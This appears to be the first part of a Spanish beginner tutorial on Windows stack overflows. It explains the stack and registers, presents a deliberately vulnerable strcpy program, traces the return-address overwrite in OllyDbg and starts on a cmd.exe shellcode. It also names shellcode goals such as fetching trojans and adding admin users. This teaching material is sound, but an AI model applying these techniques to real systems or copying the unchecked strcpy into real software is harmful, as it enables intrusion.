You are on page 1of 24

***************************************** * EXPLOITS Y STACK OVERFLOWS EN WINDOWS * * Rojodos rojodos2[at]yahoo[dot]es * ***************************************** Naaas :) Visto el "miedo" que se tiene al tema de los

exploits y los buffers overflows, que parece algo místico, y que cada dos por tres un script kiddie pregunta en el foro como compilar un exploit, como funciona un exploit o donde encuentro un exploit, me he decidido a hacer un taller de buffers overflows y exploits, en Windows :) También veremos como crear una shellcode muy muy básica, muy explicadita, para que se entienda perfectamente. Quizás, si el tema tiene éxito, hagamos otro sobre Linux, aunque son bastante parecidos, en Linux la cosa cambia en muchos aspectos. Este documento esta basado en muchos que hay por la red, los cuales están al final del mismo, y de la aportación de muchos usuarios en diversos foros, listas de correo y como no, de exploits. Es mi primer texto "en serio", además es bastante largo, y aunque creo que no contiene errores muy graves, puede tenerlos :P cualquier fallo del texto, comentario, opinión, amenaza, donación, oferta de trabajo, etc... al correo :) (abstenerse gilipolleces) Vamos al tema :) -== INTRODUCCION ==La teoría sobre el tema la iremos viendo según avance el documento, aunque antes de nada, haremos unas definiciones muy simples. La idea de dichas definiciones es saber "lo básico", ya que este texto esta dirigido a iniciados, no a gente que ya domina el tema, aquí no vera nada nuevo, pero es imprescindible buscar por Internet mucha mas información (sobre todo lo referente a programar en C/C++ y ASM) - C/C++ Es un lenguaje de programación muy extendido, multiplataforma, y fácil. Es la base de nuestros sistemas operativos(salvo cosas en ensamblador como rutinas de boot) y es tremendamente potente y optimizado. Sus archivos básicos son *.c y *.cpp (para los C++). Es el lenguaje más recomendable para aprender, el más útil. - Ensamblador (ASM) Es el lenguaje más "básico" que permite al programador interactuar con el CPU. Las instrucciones en ASM se pasan a binario, que es lo que "entiende" la CPU, es decir, 1s y 0s (aunque se agrupan en cadenas hexadecimales para mayor claridad). Realmente, un compilador ASM lo único que hace es calcularte las etiquetas, los saltos y los calls, y "encapsular" el ejecutable. Todos los lenguajes de programación, a la hora de compilar (obviamente, los lenguajes de script no), convierten su código en instrucciones ASM. Instrucciones en ASM (Intel) son por ejemplo mov, push, pop, etc....(En AT&T,

seria popl, movl, pushl, etc..) Es un lenguaje de programación difícil de aprender, solo para cosas puntuales o que requieran una gran optimización, pero saberlo te dará muchas alegrías :) Cualquier informático debería poder entender y dominar las instrucciones básicas. - Debugger (Depurador) Un debugger es un programa que permite ir "paso a paso", instrucción a instrucción a otro programa. Al ir instrucción a instrucción, podemos ver completamente que esta pasando, los registros, la memoria, etc, así como muchas mas funciones muy interesantes. Su función principal es la de auditar código, y ver el porque falla (o simplemente porque no realiza lo que queremos que haga), es una herramienta imprescindible para cualquier programador. Lo que pasa que también puede servir para otras cosas :) - Dissasembler (Desamblador) Un desamblador es un programa que te muestra el código de un programa, una dll, lo que sea que este hecho de código que el desamblador entienda. Normalmente, te muestra su código en ASM (por ejemplo, un programa codeado en C, te muestra la conversión de dichas instrucciones C en ASM), aunque hay desambladores que permiten ver su código (o parte de el) de programas hechos en JAVA o VBasic, por ejemplo. Normalmente, debugger y dissasembler van en el mismo programa, los mas usados son el Ollydbg (el que usare aquí), Softice, IDA, Win32dasm... - Hex Editor (Editor Hexadecimal) No hay que confundir un dissasembler con un hex editor. El primero te muestra el código de un programa, el hex editor simplemente te muestra el contenido de un archivo, del tipo que sea, como un dumpeo hexadecimal y/o binario, así como la posibilidad de modificar y guardar dicho archivo. Se usa para rastrear y modificar archivos que usan programas, tanto para fines "de programación" (el porque al cargar el archivo falla, el porque no se escribe bien, etc...) como de "hacking" o "cracking". A mi, personalmente, me gusta mucho el Hackman, pero se que hay mucho mejores :P Cuestión de buscar. - La CPU (microprocesador) La CPU es el "corazón" de un ordenador. Es la unidad de hardware encargada de ejecutar las instrucciones de un programa o sistema operativo, instrucción a instrucción, que estén en una determinada área de memoria. Se ayuda de registros donde almacena variables, datos o direcciones. Una explicación completa sobre el tema, requeriría uno o varios libros, aunque googleando se encuentra muchísima información. - Registros de la CPU. La cpu (microprocesador) contiene una serie de registros, donde almacena variables, datos o direcciones de las operaciones que esta realizando en este momento. El lenguaje ASM se sirve de dichos registros como variables de los programas y rutinas, haciendo posible cualquier programa (de longitudes considerables, claro). Los más interesantes son:

EDX Registro dirección o puntero. que apunta a la pila y DS. EBX Registro base.. CS. Ambos los veremos más en profundidad cuando explique la pila. EAX. referenciar direcciones de memoria. en instrucciones ASM loop como contador. y un largo etc. Cualquier instrucción de retorno. Se suelen usar Registro+Offset para direccionar a una dirección concreta de memoria... aunque cada uno tiene funciones "especificas" según las instrucciones ASM del programa: EAX: Registro acumulador. ESI.. por ejemplo. Son registros multipropósito para usarlo según el programa.) ESI y EDI Son registros análogos a EDX. Sirven para manejar la pila. salvo que dicha instrucción requiera un salto. variable o valor. suelen apuntar a una cierta sección de la memoria. referenciando la "cima" (ESP) y la "base" (EBP).. ESP siempre contiene la dirección del inicio de la pila (la cima) que esta . La CPU se basa en secuencias de instrucciones. una detrás de la otra. SS. Los mas usados son CS. que apunta al segmento actual de direcciones que esta ejecutando EIP. si también controlamos lo que haya en esa dirección. podremos controlar la ejecución del programa.. se pueden usar para guardar direcciones de memoria. offsets. EDI. SS. Se usa. ES es "multipropósito".. EBX. ECX Registro contador. ejecutando las instrucciones en la dirección que especificaba el salto. se pueden usar de cualquier forma y para alojar cualquier dirección. una llamada. También se usa para sumar valores a otros registros en funciones de suma. EIP apuntara al valor del salto.EIP Extended Instruction Pointer. para lo mismo.. el loop se acaba. El registro EIP siempre apunta a la siguiente dirección de memoria que el procesador debe ejecutar.. SS.. Se usa para referenciar a direcciones de memoria mas el offset.. cuando ECX llega a cero.al producirse por ejemplo un "salto". etc. Se usa como "manejador" o "handler" de ficheros.. que apunta al segmento de datos actual. almacenara dicho valor en EAX. ESP EBP Extended Stack Pointer y Extender Base Pointer.. combinado con registros de segmento (CS. Si logramos que EIP contenga la dirección de memoria que queramos.. de direcciones de memoria (para luego sumarles un offset) etc. etc. etc.. ES y DS Son registros de segmento.

Una vez programada en ASM (para testearla.¿Que es una vulnerabilidad? Una vulnerabilidad es un fallo que compromete la seguridad del programa o sistema. Normalmente se usan estos últimos para evitar el uso de los mismos por niñatos (script kiddies) o para evitar gusanos (supongo que se acuerdan del blaster o del sasser. permitiendo al "hacker" ejecutar código arbitrario. por ejemplo. Lo veremos mas adelante :) . y sacando un beneficio de la misma.exe") (ejecuta una shell msdos en windows).. y cada hilo del programa también.¿Que es una shellcode? Una shellcode es un código básico en ASM. que ejecuta los comandos que queremos.. Hay distintos tipos de overflow. La variable "desborda".¿Que es un exploit? Un exploit es un código. stack overflow (el que veremos aquí. No es nada difícil de programar sabiendo ASM básico y como funciona tu SO. para descargar un troyano y ejecutarlo. además de que es mas fácil programarla en ASM que directamente con opcodes :P). detener el sistema o aprovecharse del mismo para sacar cualquier tipo de beneficio. Un bug es un fallo de cualquier tipo. también llamado buffer overflow. .¿Que es un overflow? Un overflow es. compuesto por los opcodes (codigos de operacion. básicamente. Las vulnerabilidades son bugs de seguridad. y le introducimos más datos a dicha variable de los que puede soportar. para dejar abierto un puerto conectado a una shell. se refiere a desbordar una variable declarada en el heap en vez de en la pila.).. añadir un usuario administrador al sistema. Aunque se le asocia también a "bug" (fallo). o execv("/bin/sh") (ejecuta una shell sh en Linux/Unix).. Cada programa usara un espacio de la pila distinto. los 2bytes restantes no se pierden..). muy corto generalmente. en hexadecimal) de dichas instrucciones ASM. con los privilegios del mismo) que nos beneficia.usando el programa o hilo (thread) en ese momento. a un programa que funciona mal al intentar hacer una división por 0. dándonos por ejemplo una contraseña.. cuando resguardamos espacio de memoria insuficiente para una variable (allocate). desde que un juego no funcione bien porque vaya lento. sino que sobrescriben la memoria contigua a dicha variable. pero no es lo mismo. como system("cmd. EBP señala la dirección del final de la pila de ese programa o hilo. heap overflow (ya lo veremos en algún otro texto. Es el código que ejecutara el programa vulnerable una vez tengamos su control. si le movemos 10bytes. Si declaramos una variable que solo debe soportar 8bytes. un programa. .. según nuestros propósitos. o sirve para añadir un usuario a la cuenta del sistema. o incluso lo único que hacen es detener el servicio o el sistema. o desbordamiento de buffer. format string overflow (bugs de formato de las . etc. o dándonos una shell de comandos. que realiza una acción contra un sistema o programa que tiene una vulnerabilidad. Habría que distinguir entre exploits "completos" (los que están completamente funcionales) y los POCs (proof of concept) que son exploits que demuestran que dicha vulnerabilidad existe y que es explotable. que pueden comprometer el sistema o el programa. Dicho beneficio normalmente es la ejecución de código (dentro de ese programa. se pasa a un string. se liberaron los exploits completamente funcionales) . un "método". pero que no dan ningún beneficio o el beneficio es mínimo. etc. "explotándola". y los datos que no caben sobrescriben memoria continua a dicha variable.

. Para eso sirve la pila :) Justo al ejecutar el call. solo puedes añadir y quitar libros por la "cima" de la pila. Si el sistema quiere hacer una suma (5+2). VUELVE (RETORNA) a la dirección de memoria que había guardada en la pila (el ret). Si tratas de quitar uno del medio. el call se ejecuta. el sistema debe saber que hacer debe seguir ejecutando código. es decir. los retornos (rets) de las llamadas a una función (calls). por donde los añades. primero introduce el 2º argumento en la pila (el 2). se produce la suma y. se GUARDA la dirección de la siguiente instrucción en la pila. Por ejemplo.EBP apunta aquí (la base de la pila) .. Bien. Last In. las estructuras de excepciones (SEH. se mete primero el argumento 2 en la pila del sistema. es decir. etc.. Entonces. se puede desmoronar. Bien. pues el SO (tanto Windows como Linux. hacer una pantalla.. multiplicación. cuando se vacíe la pila. variables de entorno. primero en salir. donde debemos ir) 3º Se guarda la siguiente instrucción después del call en la pila (el ret) En ese momento. para llamar a una función cualquiera. integer overflow (debidos a declaraciones de variables con un espacio mínimo o negativo que proveemos nosotros. coge los argumentos de la suma. será el ultimo en salir. hemos "saltado" a esa dirección. como los Unix o los Macs) se basa en una pila para manejar las variables locales de un programa. Pensad en una pila de libros. Esa instrucción se denomina normalmente RET o RET ADDRESS. . Vamos a verlo por pasos :) 1º Llegamos al call (EIP apunta a la instrucción call) 2º Se ejecuta el call. etc. El registro EIP recoge dicha dirección. dirección de "retorno" al programa principal (o a lo que sea). argumentos. como esta guardada la dirección por donde iba el programa. una "llamada" a una función o dirección de memoria.). por donde pero con el resultado. se guarda la dirección. y la siguiente instrucción a ejecutar esta en dicha dirección. que necesite dos argumentos. ESP | ESP +4bytes | ESP +8bytes | la pila esta así: RET ADDRESS | EBP -8bytes argumento 1 | EBP -4bytes argumento 2 | <--. ultimo en entrar.cadenas de texto). en Windows). Es decir. y luego se llama a la función. Call dirección (llamar a la dirección) ó call registro (llama a lo que contenga ese registro). El libro de mas "abajo". Pero antes. luego el 1º argumento (el 5) y luego llama a la función suma.¿Porque se le llama Stack Overflow? La pila (stack) es una estructura tipo LIFO.. se hace con la instrucción ASM Call. El programa puede llamara la función suma.. la CPU debe terminada la función suma. EIP apunta a la instrucción del call. a la dirección siguiente del call. First Out. luego el argumento 1. o simplemente mostrarlo por saber por donde seguir la ejecución una vez cuando termine la función.

hay 4+4+4 bytes de basura (basura quiere decir que son datos que había antes ahí. lo que sea). donde irán nuestros datos (nombre. la diferencia entre ESP y EBP son esos bytes. justo después del call suma. dentro de la función suma se usara la pila para almacenar datos y demás. y estaremos otra vez en "trozo" de pila del proceso principal. el resultado. sobrescribirán el EBP de la anterior función. Son "nuevos" para no sobrescribir los variables y valores que ya haya en la pila. lo que se hace es crear un "espacio" entre un nuevo ESP y EBP (cima y base de la pila) para alojar las variables. se introduce el EBP antiguo en la pila (se pushea). la pila esta así: ESP ESP +4bytes ESP +8bytes ESP +12bytes | | | | EBP anterior salvado RET ADDRESS argumento 1 de suma argumento 2 de suma | | | | EBP . necesita 12 bytes (siempre se hace con múltiplos de 4. pues se le sustrae a ESP 12 bytes: ESP ESP ESP ESP ESP ESP ESP +4 +8 +12 +16 +20 +24 | | | | | | | basura. Bien. lo que sea. Posteriormente. se "resta" a ESP tantos bytes como necesitemos de espacio para nuestra variable. Al sustraerle bytes. dicho nombre normalmente se guarda en la pila (no entraremos en temas de heap). datos. pero que no nos sirven) para nuestro nombre o lo que sea. por temas de alineamiento en la pila). de 12 bytes. Pero.. aun no hay nada inicializado| EBP -16 basura | EBP -12 basura | EBP -8 EBP anterior salvado | EBP -4 RET ADDRESS | EBP (el EBP no cambia) argumento 1 de suma | EBP +4 argumento 2 de suma | EBP +8 Como se ve. para DONDE estaba la anterior base de la pila. la pila del proceso principal. si esos bytes no son suficientes. dentro de la función suma necesitamos un espacio para alojar por ejemplo.El EBP actual apunta aquí EBP +4 EBP + 8 saber Esto función el Tras esto. y EIP recoge la dirección RET ADDRESS. cuando el programa o el SO piden "espacio" para alojar una/s variable/s.4º La cpu ejecuta la/las instrucciones dentro de la función suma (obviamente. y vuelve al programa principal. es el EBP salvado del proceso anterior. pero eso lo veremos mas adelante. EBP tomara el valor del EBP salvado. sobrescribirán la memoria contigua a la declarada en la variable. Básicamente. un dato.4 <---. y introducimos 14. o uno de los operandos. Imaginaos que al hacer ese call. al introducir nuestro nombre por ejemplo. Por ejemplo. si solo tenemos espacio para 12 bytes (12 caracteres). Cuando la suma acabe. de otras funciones o programas. Espero que se entienda.. Ahora mismo.) 5º La función suma alcanza la instrucción RETN (retorno). se "sustrae". si nuestra variable "nombre". hasta poder sobrescribir dicho ret address. también es importante. ya que un stack overflow significa introducir suficientes datos en la pila. es muy importante. si metemos 4 lo sobrescribiremos completamente: . de anteriores usos de la pila. es decir. los 2 bytes que sobran. un nombre o lo que sea.

. // Devolvemos 0 a main.A (16 As) para ver que pasa (esto no se haría con push. Pero buffer solo tiene espacio para 64 caracteres. yo empezare con el código típico vulnerable :) El código esta comentado (//) para que entendáis cada línea: /* vuln1.h> // librería stdio... Esa función copiara lo que hayamos metido por argumentos al programa (argv[1]) dentro de la variable buffer. printf ("Introduzca un argumento al programa\n")... } El fallo esta en la función strcpy.h. funciones básicas de Entrada/Salida int main (int argc.1. y el programa acab a } strcpy (buffer. argv[1]). y por argumentos al programa le podemos meter lo que queramos. que aumentan ESP. que es lo que nos interesa :) Bien. mas de 64)AAAAAAAAAAA. . generamos el archivo vuln1. donde se vera todo mucho mejor explicado :) -== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==Hache esta el típico típico típico código de stack overflow.2600] (C) Copyright 1985-2001 Microsoft Corp. // y retornamos 0 a la función main.. pasemos a la práctica real.Introducimos AAA. Cualquiera que haya leído un doc sobre buffer overflow. sino con instrucciones MOV) ESP ESP ESP ESP ESP ESP ESP +4 +8 +12 +16 +20 +24 | | | | | | | AAAA | EBP -16 AAAA | EBP -12 AAAA | EBP -8 (EBP anterior salvado sobrescrito) AAAA | EBP -4 RET ADDRESS | EBP argumento 1 de suma | EBP +4 argumento 2 de suma | EBP +8 Y si le metemos otras 4 AAAA. Si lo compilamos (con cualquier compilador C/C++ en Windows.. // Aqui es donde esta el fallo. F:\Rojodos\manual exploits>vuln1 AAAAA(Muchas AAAAs. //Declaramos un array con 64 bytes de espacio if (argc < 2){ // Si los argumentos son menores que 2. con la función mas segura strncpy). return 0. Y. no hay ningún chequeo de tamaño de la fuente (eso se hace por ejemplo. //Printeamos return 0. sobrescribiremos el ret.exe Al ejecutarlo en una consola MSDOS así: Microsoft Windows XP [Versión 5. y el programa acaba. recomiendo Dev Cpp o Visual C++).c por Rojodos */ #include <stdio. como todos los tutoriales sobre programación empiezan con el "Hola Mundo". char **argv){ // La función "principal" del programa función char buffer[64]. habrá visto un código semejante (sino igual) a este.

y nos vamos a Debug -> Arguments.net lo encontraras fácilmente. como el Ollydbg (en www. que indica donde empieza el código (entry point. en direcciones mas altas.. deberíais ver el dumpeo en hexadecimal. hemos sobrescrito la dirección de retorno de MAIN () (no de strcpy. También deberíais ver a vuestra derecha. la pila (stack). o en su pagina principal. "A" en hexadecimal es 41 (mirad la tabla en www. ESP y EIP.Os saldrá la típica ventanita de que vuln1. no tiene ningún misterio. Es decir. es realmente fácil. a ver que esta pasando :) Bajamos un poco por el código. googlead un poco) Usar un debugger.asciitable. hasta que encontramos algo así: . y mas el olly. Abajo a la izquierda. cargamos el programa (File -> Open -> vuln1. Bien.. y abajo a la derecha. para echar un vistazo. en este caso el offset es +1000h). Os dirá que tenemos que resetear el programa para que los argumentos tengan efecto (nos vamos a Debug-> Restart).elhacker.. haga click aquí". EAX. EIP = 41414141 Ha tratado de ejecutar lo que hay en la dirección "AAAA" :) Vamos a ver esto un poco mas "pausado". el estado de los registros de la CPU. para ver en directo que esta pasando. Y listo :) Le damos a RUN (Debug -> Run ó F9) y. veréis que pone "Offset:41414141".. cosa que no usaremos. con la dirección relativa de código inicial de 00401000. Ahí tenéis que tener la vista casi fija :) Una vez cargado el ejecutable (se os abrirá una ventanita de MS-DOS. se pare la ejecución (NO SE EJECUTA LA INSTRUCCION SEÑALADA CON EL BP). EBX. Esta vez vamos a poner un breakpoint en la función de strcpy.le metemos los argumentos (copiamos todas las AAAs que hay mas arriba en el texto. pero que no sale nada. y luego se llama a strcpy. EDI. Un breakpoint es un "punto de ruptura". esta completamente equivocado. para ver como funciona realmente. pero no se esta ejecutando aun). pues la dirección de strcpy va ANTES de la variable buffer en la pila. el programa esta cargado en memoria.exe ha detectado un problema y debe cerrarse. y los valores que contienen. EBP. el 99% de los ejecutables se carga en esa dirección) mas el offset señalado en el PE header.ESI. Si alguien se cree que es una herramienta para "elites" y súper difícil de usar.com). no hay que cambiarlo). Esta dirección es la dirección base del ejecutable en memoria (00400000. Si pincháis en "Para ver los datos de los errores. de strcpy en la pila) con AAAA --> 41414141 :) Esto lo podemos ver mucho mejor en un debugger. que indica al debugger que cuando la ejecución llegue ahí (cuando el registro EIP señale la dirección de memoria donde hemos puesto el BP). no os preocupéis. y las copiamos ahí). con lo que la variable buffer esta "debajo". Veréis que salen un montón de instrucciones en la ventana principal. Access violation when executing [41414141] Fijaros en el valor de EIP (ventana de los registros del CPU). con el olly. ya que primero se declara buffer. Hacemos un Restart (Debug->Restart) y vuelve el programa a su estado inicial (los argumentos siguen siendo las AAAs que metimos.exe)..

Para verlo. es una "ayuda" del ollydbg. Cuando se produzca el Call strcpy. E8 50170000 004012F0 |.&msvcrt.." Lo demás. \printf "Introduzca un argumento al programa" 004012D2 |. le damos a RUN (F9) El programa se detiene antes de ejecutar esa instrucción (fijaos que ahora.. etc. y la CPU ejecuta la instrucción contenida en esa dirección. aparece con un cuadro negro la dirección de memoria..DWORD PTR SS:[EBP-48] 004012EA |.. o a que estas llamando (CALL <JMP.. EIP va cogiendo cada dirección.strcpy> 004012F0 |.4 004012E5 |. 68 80124000 --> Son los "opcodes" de la instrucción ASM. E8 50170000 CALL <JMP. .004012CD |. 83C4 10 CALL <JMP. el punto inicial en la memoria de inicio del código del programa es 00401000h). en este caso esta introduciendo en la pila la dirección del ejecutable (sección .. empiezan en 00400000+offset del entry point (que normalmente es 1000h. que te puede decir por ejemplo que estas introduciendo en la pila (format="Introduzca. 83C4 10 ADD ESP. Pulsáis con el ratón en esa dirección.10. osea. para que lo podamos comprender mucho mejor). Pues tras ponerle el BP..printf> 004012D7 |.&msvcrt. \printf). Como ya he dicho. /format = .DWORD PTR SS:[EBP+C] 004012E2 |. . E8 79170000 CALL <JMP. 8B45 0C MOV EAX.00401280 --> instrucciones en ASM.&msvcrt.printf> . 83C4 10 ADD ESP.strcpy> ADD ESP. es el código que se ejecuta si no le metemos argumentos al programa. .00401280 . Esto nos vendrá bien para que hagamos nuestra shellcode :) PUSH vuln1. donde esta la función C strcpy) y si os fijáis.").8 004012DF |. EB 17 JMP SHORT vuln1. se pusheara en la pila 004012F0. y pulsáis F2. Es decir. que es la dirección de retorno (ret address).dll. 83C0 04 ADD EAX.10 004012DA |. Bien. aparte de rojo.004012F3 004012DC |> 83EC 08 SUB ESP. el printf ese. 50 PUSH EAX 004012EB |. a hexadecimal. 68 80124000 PUSH vuln1.&msvcrt. no nos tiene porque interesar (es el código que se ejecuta cuando no metemos argumentos al programa) Pero si esto: 004012EB |. 8D45 B8 LEA EAX. su dirección relativa en la RAM. significa . todos los ejecutables cargados en memoria. Se tendría que iluminar de rojo esa dirección. \strcpy Aquí se produce la llamada a la función vulnerable (llama a la DLL msvcrt.. que es cada "cosa". 004012XX es la dirección relativa de memoria donde esta el ejecutable. pondremos un breakpoint en la llamada a strcpy. la siguiente dirección a ejecutar es 004012F0 ADD ESP.data) donde esta el string "Introduzca un.10 . una detrás de otra. mas o menos como decir que es la instrucción ASM convertida en hexadecimal (mas bien de binario 01010. FF30 PUSH DWORD PTR DS:[EAX] 004012E7 |. /src | |dest \strcpy Os explico antes de nada.10 .

E8 59180000 |[msvcrt. 89C3 00401172 |. mas "abajo". 0022FF28.Basura 0022FF38 |003D2470 <-.ExitProcess> .&KERNEL32.&msvcrt...77C089C2 <--basura 0022FF60 |0022FFA0 0022FF64 |004010C0 RETURN to vuln1. que es la dirección de la variable buffer en la pila.Todo esto hasta abajo siguie siendo basura 0022FF50 |000000ED 0022FF54 |00000003 0022FF58 |0022FF60 0022FF5C |77BEE921 RETURN to msvcrt.00403000 <-.EBX CALL <JMP. la base de SU pila) y debajo esta la dirección de retorno de la función main.". Por si no nos ha quedado claro. justo debajo de donde terminan los 64 bytes reservados para buffer (todo lo que hay es basura.004012A6 <-. es basura 0022FF2C |77BFAB33 RETURN to msvcrt.Basura 0022FF30 |77C09348 RETURN to msvcrt.77C09292 <--basura 0022FF44 |004D7EF9 0022FF48 |0012D548 0022FF4C |7FFDF000 <-. | . 0022FF3C |0000000C <-.basura..AQUI terminan los 64 bytes reservados para buffer (incluido) 0022FF70 ]0022FFA0 <-. donde vemos el destino (0022FF28.EAX CALL <JMP. Que hay en 0022FF28? Pues espacio "reservado" para la variable buffer. donde comienza la cadena "AAAAA.free <-.004010C0 from <JMP.Basura 0022FF34 |003D25A8 <-. de anteriores funciones y tal. E8 51190000 \ExitProcess MOV EBX..00401170 from vuln1. . osea en direcciones mas altas). 891C24 0040117A \. Veis que esta en la dirección 0022FF74. esta el EBP anterior salvado (el EBP de la función main. se ejecuta lo que haya en esa dirección. 004012EB ¿Que hay en la pila? 0022FF00 0022FF28 |dest = 0022FF28 0022FF04 003D24A3 \src = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAAAAAs) AAAAAAAAAAAAAAAA" ESP apunta a 0022FF00. ¿Y que hay ahí? 00401170 |. Sigamos. 0022FF6C |00403004 vuln1. . Esta referenciado por 003D24A3. que no se van a volver a usar). Sin embargo.. vemos algo así: 0022FF28 |FFFFFFFF <-.77C09348 from msvcrt. que precisamente es la dirección de argv[1]. Cuando la función main() del programa termina.Empiezan los 64 bytes reservados para buffer. y que apunta a la instrucción 00401170...&msvcrt..00403004 <--.que esa es la siguiente dirección a ejecutar).EBP salvado del anterior proceso (main) 0022FF74 |00401170 RETURN to vuln1. 0022FF40 |77C08A55 RETURN to msvcrt.__getmainargs> 0022FF68 |00403000 vuln1.77C054FD <-..77C08A55 from msvcrt.77BEE921 from msvcrt. Y "src" (source -> fuente) es lo que vamos a copiar en el destino._cexit> MOV DWORD PTR SS:[ESP]. EIP marca precisamente esa dirección. | .77BFAB33 from msvcrt._cexit 00401177 |.dirección de retorno de main() Si os fijáis..

y estamos justo debajo de la llamada a Strcpy(): 004012EB |. \strcpy EIP apunta a 004012F0._except_handler3 0022FF24 00000000 0022FF28 41414141 <-.EBP salvado del anterior proceso. el programa se para justo después de terminar la función strcpy). 83C4 10 CALL <JMP. estamos parados justo antes de entrar en el strcpy. E8 50170000 004012F0 |. Miremos la pila: 0022FF00 0022FF28 ASCII "14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" 0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" 0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs) AAAAAAAAAAAAAAAAAAAAAAAA" 0022FF0C 004012C4 RETURN to vuln1.004013D0 0022FF10 77BE2048 msvcrt. el programa terminara con el fallo famoso.Una llamada a exit en msvcrt. Para no tener que ir saltando por la DLL (lo que haría seria ir instrucción por instrucción de como trabaja strcpy() en la msvcrt. A partir de aquí hemos hecho el overflow.77BFAC19 from msvcrt. es la siguiente instrucción que se va a ejecutar. 0022FF70 41414141 <--.77C054FD 0022FF1C 0022FFE0 ASCII "AAAAAAAAAAAAA" 0022FF20 77C03EB0 msvcrt.Estamos aquí .dll). pero nosotros no lo vemos.77BE2048 0022FF14 0022FEF8 0022FF18 77BFAC19 RETURN to msvcrt.strcpy> ADD ESP.dll.dll y posteriormente una llamada a la API ExitProcess dentro de Kernel32. en vez de pulsar F7 (que ENTRARIAMOS en el CALL). (Es decir.Aqui empieza la variable buffer 0022FF2C 41414141 0022FF30 41414141 0022FF34 41414141 0022FF38 41414141 0022FF3C 41414141 0022FF40 41414141 0022FF44 41414141 0022FF48 41414141 0022FF4C 41414141 0022FF50 41414141 0022FF54 41414141 0022FF58 41414141 0022FF5C 41414141 0022FF60 41414141 0022FF64 41414141 0022FF68 41414141 0022FF6C 41414141 <--. el programa termina. se han copiado todas las AAAs al buffer. sobrescrito con AAAA 0022FF74 41414141 <--. que "salta" a la siguiente instrucción sin entrar en el CALL. le damos a F8. así que pulsad F8.10 <--.Antigua dirección del ret del main () sobrescrito con . ¿Fácil no? Bueno. Ahora se ha ejecutado la función strcpy.004012C4 from vuln1. Si pulsáis F9 (Run).Aquí terminaban los 64 bytes de tamaño de buffer.&msvcrt. el call se ejecuta así como todas las instrucciones que conlleva. y no veremos nada.

. E8 50170000 |. ya que era la "base" de la pila del anterior proceso. La CPU tratara de ejecutar lo que haya en 41414141. pero bueno....Estamos aquí parados (EIP = MOV EAX.cuando llegue aquí.&msvcrt. Al ejecutar el RETN..10 <--.. 83C4 10 |> B8 00000000 |.. EIP "recogerá" la dirección que apunta ESP (0022FF74) que debería ser la dirección de la llamada a ExitProcess(). que esta fuera del segmento . como ya he dicho) y que ESP ha "disminuido" debido al ADD ESP. 0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" La dirección 0022FF04 contiene la dirección en el HEAP (memoria dinámica) de la variable argv[1]. en este main() (se salva para delimitar los "trozos" de pila que corresponden a función. vale caso cada 10 y al Cuando llegue a ejecutar el RETN (antes de ejecutarlo). la que llamaba a finalizar el proceso (Hemos sobrescrito mucho más :P. 0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAA" La dirección 0022FF08 contiene la dirección del antiguo EBP del main. Y mas cosas que no vienen al caso. C9 \.0 LEAVE RETN <-.Antigua dirección del ret del main () A partir de aquí hemos hecho el overflow. pero como veis.strcpy> .. donde están las AAAs que introducimos por argumento al programa. ¿Eso que quiere decir? Si vemos nuestro programita principal. \strcpy ADD ESP.AAAA 0022FF78 0022FF7C 0022FF80 0022FF84 41414141 41414141 41414141 41414141 Hay muchas cosas en la pila (fijaos por donde han entrado) derivadas del uso del strcpy: 0022FF00 0022FF28 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" La direccion 0022FF00 contiene la dirección de la pila (0022FF28) donde empieza la variable buffer. donde empiezan todas nuestras AAAAs. C3 CALL <JMP.. así se ve mejor). hemos sobrescrito la dirección de retorno del main (). 0022FF74 41414141 <--. que ahora esta sobrescrito con AAAAs. LEAVE y que ahora apunta a 0022FF74. veremos que EBP 41414141. pero que en este caso es 41414141 porque la hemos sobrescrito. justo después del call (la ejecución ha vuelto al programa principal): 004012EB 004012F0 004012F0) 004012F3 004012F8 004012F9 |..

. y ¿si hubiéramos sobrescrito la dirección del retorno de main con la dirección de un código que nos fuera provechoso? Ese código provechoso es nuestra shellcode :) Si conseguimos que el programa salte a donde nosotros queramos. tenemos que conseguir 3 cosas: 1º. si strcpy detecta un 0 en una cadena. y pasárselo al programa como parámetro.exe" push dirección_cadena_cmd --> system realmente se llama así: system(dirección del comando) call system --> offset de system en la msvcrt. antes de nada.Meter un NULO (NULL -> 0x00. un 0x00..'. // ejecuta el comando "cmd. en ASM. Bien. Esto nos puede acarrear problemas con strcpy.).exe0"). Y donde metemos nuestra shellcode???? (ahora lo veremos) Y mas importante aun. y todo esto para que nos sirve? Bueno. cualquier cosa. o incluso CreateProcess() eso se lo dejamos a cada uno que pruebe :) Bien. seria así: push 0 --> en realidad.0. mas grande será la shellcode.. system se llama así: system("cmd. y hay que tener en cuenta el tamaño del buffer.). etc. para delimitar el fin de cadena de cmd. deja de copiar el resto de la cadena. llamar a system. etc. tanto en Windows. No es tan difícil como parece :) Tratare de explicar como codear una pequeña y simple shellcode que ejecute una shell cmd. las ignora) 2º. normal y corriente :) -== ¿PARA QUE NOS SIRVE UN STACK OVERFLOW? ==¿Bien. un 0. aunque mientras mas complicada.dll Bien. pero ya entraremos en eso. donde este nuestra shellcode. system ("cmd. con lo que sale una shell MSDOS. También podíamos haber usado WinExec() en vez de system. Básicamente. ese código convertirlo en hexadecimal. 0) en la pila. como ya he dicho. con un null (0) para delimitar el final de la cadena "cmd.exe\00". lo que queremos es convertir esta función C. un \x00 lo interpreta como fin de cadena (aunque luego haya mas cosas.Necesitamos meter "cmd.de usuario.exe"). en ASM. Una shellcode puede ejecutar cualquier cosa.exe" en la pila (push 'c'. como una función cualquiera. push '. push 'm'. en un código ASM. y posteriormente. ¿COMO LA HACEMOS? Una shellcode se hace en ensamblador. aquí es más que recomendable tener el Visual C++ 6.. para pasársela a System() como argumento.. podremos ejecutar CUALQUIER código 